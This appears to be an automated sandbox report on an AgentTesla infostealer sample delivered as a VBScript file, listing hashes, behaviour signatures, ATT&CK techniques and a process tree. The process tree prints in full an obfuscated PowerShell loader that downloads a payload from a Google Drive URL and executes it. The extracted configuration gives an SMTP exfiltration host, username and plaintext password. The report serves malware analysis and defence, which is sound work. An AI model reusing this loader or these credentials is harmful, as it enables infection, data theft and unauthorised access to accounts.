agenttesla | 190ef363fcd30d19582d57e1401d07e91ad586f764e7c0ccb5dc5a0df577510b

General

Target

STOPA 2024-0181.vbs
Size

10KB
MD5

420b31e03f0aac291050345120dbb1c8
SHA1

e0968e51e1f6d8f3335ef9b9d5dea2c3f2253079
SHA256

9cec82087a35cfbb1b0097af9f6113b80cdbcdf9c73383a412dbf8408f37dfeb
SHA512

b5d3d8a5fc03ffb54a166b30f4bcdb1073fbdc08df5013b170321199f1939de630f596d058f44a5c4d9bae8f7f3130a6cd3b1d5a11d7f1d9753aee926f0dd7ac
SSDEEP

192:LIOoWa+tZFy6AA+1WHfa1vD7nSruBun2mF:LmW7y6AASOE7nSr0uBF

Score

10^/10

agenttesla keylogger persistence spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.blachownia.pl
Port:
587
Username:
[email protected]
Password:
Zamowienia-2017
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Blocklisted process makes network request 3 IoCs

flow	pid	Process
5	4952	WScript.exe
14	5100	powershell.exe
16	5100	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\fMNDB = "C:\\Users\\Admin\\AppData\\Roaming\\fMNDB\\fMNDB.exe"	wab.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
36	drive.google.com
13	drive.google.com
14	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
1552	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
432	powershell.exe
1552	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 432 set thread context of 1552	432	powershell.exe	102

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
5100	powershell.exe
5100	powershell.exe
432	powershell.exe
432	powershell.exe
432	powershell.exe
432	powershell.exe
1552	wab.exe
1552	wab.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
432	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	5100	powershell.exe
Token: SeDebugPrivilege	432	powershell.exe
Token: SeDebugPrivilege	1552	wab.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4952 wrote to memory of 5100	4952	WScript.exe	86
PID 4952 wrote to memory of 5100	4952	WScript.exe	86
PID 5100 wrote to memory of 2524	5100	powershell.exe	90
PID 5100 wrote to memory of 2524	5100	powershell.exe	90
PID 5100 wrote to memory of 432	5100	powershell.exe	98
PID 5100 wrote to memory of 432	5100	powershell.exe	98
PID 5100 wrote to memory of 432	5100	powershell.exe	98
PID 432 wrote to memory of 3880	432	powershell.exe	101
PID 432 wrote to memory of 3880	432	powershell.exe	101
PID 432 wrote to memory of 3880	432	powershell.exe	101
PID 432 wrote to memory of 1552	432	powershell.exe	102
PID 432 wrote to memory of 1552	432	powershell.exe	102
PID 432 wrote to memory of 1552	432	powershell.exe	102
PID 432 wrote to memory of 1552	432	powershell.exe	102
PID 432 wrote to memory of 1552	432	powershell.exe	102

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\STOPA 2024-0181.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4952
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Smaabarns = 1;$Cutleriaceous='Su';$Cutleriaceous+='bstrin';$Cutleriaceous+='g';Function Sanktionspolitik($Hematospectrophotometer){$Konsistoriemedlem=$Hematospectrophotometer.Length-$Smaabarns;For($Nedblndinger=1;$Nedblndinger -lt $Konsistoriemedlem;$Nedblndinger+=2){$Afgrnsnings+=$Hematospectrophotometer.$Cutleriaceous.Invoke( $Nedblndinger, $Smaabarns);}$Afgrnsnings;}function Recours($Acuating){& ($Vsentlighedskriteriernes) ($Acuating);}$Sues=Sanktionspolitik 'SM oFzbi lDl a,/V5P.s0 ,(SW i nbdEoSw s ANBTC O1U0 .,0 ;c TW i n 6.4M;, Ox,6T4C;. SrSv : 1R2M1A.T0 )R UGOe cDk oT/B2t0L1s0 0P1.0E1R HF,i rBeOfSoAxn/.1 2H1 .,0, ';$Konomimnstret=Sanktionspolitik 'SU s.e.r.- ADg e n,tH ';$Lugtesans=Sanktionspolitik 'Wh tUtSpDs :U/ /.d rSi,v.e..Rg o o.g l,e . c,oPmS/Bu c,?TeNx p o.rBt =AdpoSw nFlSo.aOd & iAdU=P1SA xNSIgHx,zSnDh O,1AxW7.q U 1Tb 1.bS1PL.3Fe.hGNaULE LPOAPUgJpSL ';$Bloodstones=Sanktionspolitik 'A>C ';$Vsentlighedskriteriernes=Sanktionspolitik 'hiCe xc ';$Pedler='Konferensers206';Recours (Sanktionspolitik 'JS.eItM-WC o n tSe.nVt, ,-.PbaLtGhC GTR:,\EX eLnVoKfMoSb.i s k eV.,tAx.t. P-MVPaQlIuDeS $.PPe,d lVeBrU;R ');Recours (Sanktionspolitik 'Oi fF ,(Bt e s tU-.pTaStWhI ,T :.\SX ePnMo,f.o.bMirsDkTe .,t xltN).{,e x,iAtV} ;S ');$Bogtilrettelgger = Sanktionspolitik ',eUc h.o .%Ka,p.pTd a.t.a %T\RF uBdEg y . SFyFn &A&T eIcDhHo T$. ';Recours (Sanktionspolitik 'd$ gUlFoObmaTlP:CCAa.f,eFt,ePa.t,rEeOs =.(RcFm,dS L/OcS A$TB oSgUt iOl rte tUt e.ltg g.eorS)l ');Recours (Sanktionspolitik 'B$.g,l oMb,aRl,: uTn,c,r.u.sKtmeEdS= $.LNuEg.tOe.sLa,n.s . sRprl.iCt.( $.B.lIo oCdSsBtFoCnSe.s ). ');$Lugtesans=$uncrusted[0];Recours (Sanktionspolitik 'B$ g.l.o b a l,:tF u s o.i.d = N.e,wA- OFbFjSeMcHt. LS.yDsTt eEm,.ANTeDtD.FW eSbGC,lSiPe.n,t ');Recours (Sanktionspolitik 'I$,FRuGs,o.i d . HIeDaEd e r s [,$ K o nNoDmci m.n s.tGrSe t ]M=S$ SUuNe s ');$Cloche=Sanktionspolitik ' FEu sEoli.d . DSoNwPn l.o,aAdBFUi l.e (H$dLPuDg.tBeBs.a n.sF, $DUknStWr aLvIe.l eBdO), ';$Cloche=$Cafeteatres[1]+$Cloche;$Untraveled=$Cafeteatres[0];Recours (Sanktionspolitik 'H$ gDl oPb,a ld:uCIa l i cIu.lCa.tBe.1.7B1M=,( TSeGsDt -BPTaDt hF $ UUn.t r,a.v.eElBe dH) ');while (!$Caliculate171) {Recours (Sanktionspolitik ' $.gBlEoRb a l,:LO p.t.iUcLsT=U$ tSr uFe ') ;Recours $Cloche;Recours (Sanktionspolitik 'VSPtOaIr t -GSKl e eBpO A4 ');Recours (Sanktionspolitik 'B$,g lOoPbVaAlR: CBa,l.iTcRuWl aHt e.1,7 1 =K(cT e sMt - P.aEt hE S$SU.nLt r a vHeSlUeFdF), ') ;Recours (Sanktionspolitik 'F$Rg,lSo b a lS:SC u v,i,e.r iTaTnB=.$,g l,oOb aIlP: A m pUeHrSsMaFnSdSsA1,5L3 +b+,%S$ u n cerhu.s.tOe d .Dc.o uMn.tU ') ;$Lugtesans=$uncrusted[$Cuvierian];}$Equalisations=322933;$Trakkasseres=26388;Recours (Sanktionspolitik 'T$PgClCo bsa lK:LAtf g a nUg s.pPeRrRrDoIn e.r n.e.sH I=f aG.eCt,-AC,o n tbeDnDt S$IU n,t,rGa v.e.l eAd. ');Recours (Sanktionspolitik 'R$BgJlTo b,a.lN: ANn eLcNhTo iDcU1 9O6 =D [NSIyEsKt eOm .,Cao,nMv e r t ] :S: FKr o.mSBUa s e 6,4.S tTrUi nMgS(O$AA fMg a,n gMssp eSrSr o nAeFrNn,eBs )F ');Recours (Sanktionspolitik ',$ gBl oEbRaSlE: F o.l kNe p.e n.s itohn sRaAl d,e r,eVnBsU M=T .[sS.yNsGt eOm,.,T.e x.tT.BE n.c o.dFi,n gR]R:T: A S C,I,I . G eAt S t r i,nIg,(.$ ABn e c h.osiMc,1 9.6,)d ');Recours (Sanktionspolitik 'F$ g lPorb a.lS:kGceCnGo pSlDi,v n iAn g.e rIn e =R$PF.oHlFk e.p eUnBs i.o n,s.aFl dTeOr eCn sU.Rs.u.b s tRr.i,n gU(R$ EAq,u a.lFiTs,aTt iUoSn s,,.$STPr a,kTkDaDs sSe,rPe sF), ');Recours $Genoplivningerne;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5100
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Fudgy.Syn && echo $"
    3⤵
    PID:2524
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Smaabarns = 1;$Cutleriaceous='Su';$Cutleriaceous+='bstrin';$Cutleriaceous+='g';Function Sanktionspolitik($Hematospectrophotometer){$Konsistoriemedlem=$Hematospectrophotometer.Length-$Smaabarns;For($Nedblndinger=1;$Nedblndinger -lt $Konsistoriemedlem;$Nedblndinger+=2){$Afgrnsnings+=$Hematospectrophotometer.$Cutleriaceous.Invoke( $Nedblndinger, $Smaabarns);}$Afgrnsnings;}function Recours($Acuating){& ($Vsentlighedskriteriernes) ($Acuating);}$Sues=Sanktionspolitik 'SM oFzbi lDl a,/V5P.s0 ,(SW i nbdEoSw s ANBTC O1U0 .,0 ;c TW i n 6.4M;, Ox,6T4C;. SrSv : 1R2M1A.T0 )R UGOe cDk oT/B2t0L1s0 0P1.0E1R HF,i rBeOfSoAxn/.1 2H1 .,0, ';$Konomimnstret=Sanktionspolitik 'SU s.e.r.- ADg e n,tH ';$Lugtesans=Sanktionspolitik 'Wh tUtSpDs :U/ /.d rSi,v.e..Rg o o.g l,e . c,oPmS/Bu c,?TeNx p o.rBt =AdpoSw nFlSo.aOd & iAdU=P1SA xNSIgHx,zSnDh O,1AxW7.q U 1Tb 1.bS1PL.3Fe.hGNaULE LPOAPUgJpSL ';$Bloodstones=Sanktionspolitik 'A>C ';$Vsentlighedskriteriernes=Sanktionspolitik 'hiCe xc ';$Pedler='Konferensers206';Recours (Sanktionspolitik 'JS.eItM-WC o n tSe.nVt, ,-.PbaLtGhC GTR:,\EX eLnVoKfMoSb.i s k eV.,tAx.t. P-MVPaQlIuDeS $.PPe,d lVeBrU;R ');Recours (Sanktionspolitik 'Oi fF ,(Bt e s tU-.pTaStWhI ,T :.\SX ePnMo,f.o.bMirsDkTe .,t xltN).{,e x,iAtV} ;S ');$Bogtilrettelgger = Sanktionspolitik ',eUc h.o .%Ka,p.pTd a.t.a %T\RF uBdEg y . SFyFn &A&T eIcDhHo T$. ';Recours (Sanktionspolitik 'd$ gUlFoObmaTlP:CCAa.f,eFt,ePa.t,rEeOs =.(RcFm,dS L/OcS A$TB oSgUt iOl rte tUt e.ltg g.eorS)l ');Recours (Sanktionspolitik 'B$.g,l oMb,aRl,: uTn,c,r.u.sKtmeEdS= $.LNuEg.tOe.sLa,n.s . sRprl.iCt.( $.B.lIo oCdSsBtFoCnSe.s ). ');$Lugtesans=$uncrusted[0];Recours (Sanktionspolitik 'B$ g.l.o b a l,:tF u s o.i.d = N.e,wA- OFbFjSeMcHt. LS.yDsTt eEm,.ANTeDtD.FW eSbGC,lSiPe.n,t ');Recours (Sanktionspolitik 'I$,FRuGs,o.i d . HIeDaEd e r s [,$ K o nNoDmci m.n s.tGrSe t ]M=S$ SUuNe s ');$Cloche=Sanktionspolitik ' FEu sEoli.d . DSoNwPn l.o,aAdBFUi l.e (H$dLPuDg.tBeBs.a n.sF, $DUknStWr aLvIe.l eBdO), ';$Cloche=$Cafeteatres[1]+$Cloche;$Untraveled=$Cafeteatres[0];Recours (Sanktionspolitik 'H$ gDl oPb,a ld:uCIa l i cIu.lCa.tBe.1.7B1M=,( TSeGsDt -BPTaDt hF $ UUn.t r,a.v.eElBe dH) ');while (!$Caliculate171) {Recours (Sanktionspolitik ' $.gBlEoRb a l,:LO p.t.iUcLsT=U$ tSr uFe ') ;Recours $Cloche;Recours (Sanktionspolitik 'VSPtOaIr t -GSKl e eBpO A4 ');Recours (Sanktionspolitik 'B$,g lOoPbVaAlR: CBa,l.iTcRuWl aHt e.1,7 1 =K(cT e sMt - P.aEt hE S$SU.nLt r a vHeSlUeFdF), ') ;Recours (Sanktionspolitik 'F$Rg,lSo b a lS:SC u v,i,e.r iTaTnB=.$,g l,oOb aIlP: A m pUeHrSsMaFnSdSsA1,5L3 +b+,%S$ u n cerhu.s.tOe d .Dc.o uMn.tU ') ;$Lugtesans=$uncrusted[$Cuvierian];}$Equalisations=322933;$Trakkasseres=26388;Recours (Sanktionspolitik 'T$PgClCo bsa lK:LAtf g a nUg s.pPeRrRrDoIn e.r n.e.sH I=f aG.eCt,-AC,o n tbeDnDt S$IU n,t,rGa v.e.l eAd. ');Recours (Sanktionspolitik 'R$BgJlTo b,a.lN: ANn eLcNhTo iDcU1 9O6 =D [NSIyEsKt eOm .,Cao,nMv e r t ] :S: FKr o.mSBUa s e 6,4.S tTrUi nMgS(O$AA fMg a,n gMssp eSrSr o nAeFrNn,eBs )F ');Recours (Sanktionspolitik ',$ gBl oEbRaSlE: F o.l kNe p.e n.s itohn sRaAl d,e r,eVnBsU M=T .[sS.yNsGt eOm,.,T.e x.tT.BE n.c o.dFi,n gR]R:T: A S C,I,I . G eAt S t r i,nIg,(.$ ABn e c h.osiMc,1 9.6,)d ');Recours (Sanktionspolitik 'F$ g lPorb a.lS:kGceCnGo pSlDi,v n iAn g.e rIn e =R$PF.oHlFk e.p eUnBs i.o n,s.aFl dTeOr eCn sU.Rs.u.b s tRr.i,n gU(R$ EAq,u a.lFiTs,aTt iUoSn s,,.$STPr a,kTkDaDs sSe,rPe sF), ');Recours $Genoplivningerne;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:432
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Fudgy.Syn && echo $"
      4⤵
      PID:3880
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Adds Run key to start application
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1552

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vhxs5bq3.tzv.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Fudgy.Syn

Filesize
454KB

MD5
fc62b80e164b7026eac50c83ad55770e

SHA1
0cd849e2fa77e57d94ebe8c5b7685474e2438e48

SHA256
473ff96f43544f04cb08a9e6faa4a72162ebd8e93363cb82cdd914f34eb38f1c

SHA512
924b368df010aecca6d7efb572ab0a8d7a5afaacb3c12b94877f0606efe113184180fdf47067d00004f49297c3978054abc0980b51c04b8e145d9e276041c8de

Download Submit
memory/432-37-0x0000000008170000-0x00000000087EA000-memory.dmp

Filesize
6.5MB

Download
memory/432-23-0x00000000061A0000-0x0000000006206000-memory.dmp

Filesize
408KB

Download
memory/432-38-0x0000000006EC0000-0x0000000006EDA000-memory.dmp

Filesize
104KB

Download
memory/432-39-0x0000000007BD0000-0x0000000007C66000-memory.dmp

Filesize
600KB

Download
memory/432-20-0x0000000003020000-0x0000000003056000-memory.dmp

Filesize
216KB

Download
memory/432-21-0x0000000005B00000-0x0000000006128000-memory.dmp

Filesize
6.2MB

Download
memory/432-22-0x0000000005A80000-0x0000000005AA2000-memory.dmp

Filesize
136KB

Download
memory/432-40-0x0000000007AF0000-0x0000000007B12000-memory.dmp

Filesize
136KB

Download
memory/432-24-0x0000000006300000-0x0000000006366000-memory.dmp

Filesize
408KB

Download
memory/432-34-0x0000000006370000-0x00000000066C4000-memory.dmp

Filesize
3.3MB

Download
memory/432-35-0x0000000006920000-0x000000000693E000-memory.dmp

Filesize
120KB

Download
memory/432-36-0x0000000006960000-0x00000000069AC000-memory.dmp

Filesize
304KB

Download
memory/432-43-0x0000000009350000-0x000000000B0E4000-memory.dmp

Filesize
29.6MB

Download
memory/432-41-0x0000000008DA0000-0x0000000009344000-memory.dmp

Filesize
5.6MB

Download
memory/1552-67-0x0000000022450000-0x000000002245A000-memory.dmp

Filesize
40KB

Download
memory/1552-59-0x0000000001200000-0x0000000002454000-memory.dmp

Filesize
18.3MB

Download
memory/1552-60-0x0000000001200000-0x0000000001242000-memory.dmp

Filesize
264KB

Download
memory/1552-65-0x0000000022460000-0x00000000224B0000-memory.dmp

Filesize
320KB

Download
memory/1552-66-0x0000000022B70000-0x0000000022C02000-memory.dmp

Filesize
584KB

Download
memory/5100-15-0x00007FFECE9B0000-0x00007FFECF471000-memory.dmp

Filesize
10.8MB

Download
memory/5100-10-0x000001E0F4490000-0x000001E0F44B2000-memory.dmp

Filesize
136KB

Download
memory/5100-16-0x00007FFECE9B0000-0x00007FFECF471000-memory.dmp

Filesize
10.8MB

Download
memory/5100-44-0x00007FFECE9B3000-0x00007FFECE9B5000-memory.dmp

Filesize
8KB

Download
memory/5100-45-0x00007FFECE9B0000-0x00007FFECF471000-memory.dmp

Filesize
10.8MB

Download
memory/5100-17-0x00007FFECE9B0000-0x00007FFECF471000-memory.dmp

Filesize
10.8MB

Download
memory/5100-63-0x00007FFECE9B0000-0x00007FFECF471000-memory.dmp

Filesize
10.8MB

Download
memory/5100-4-0x00007FFECE9B3000-0x00007FFECE9B5000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads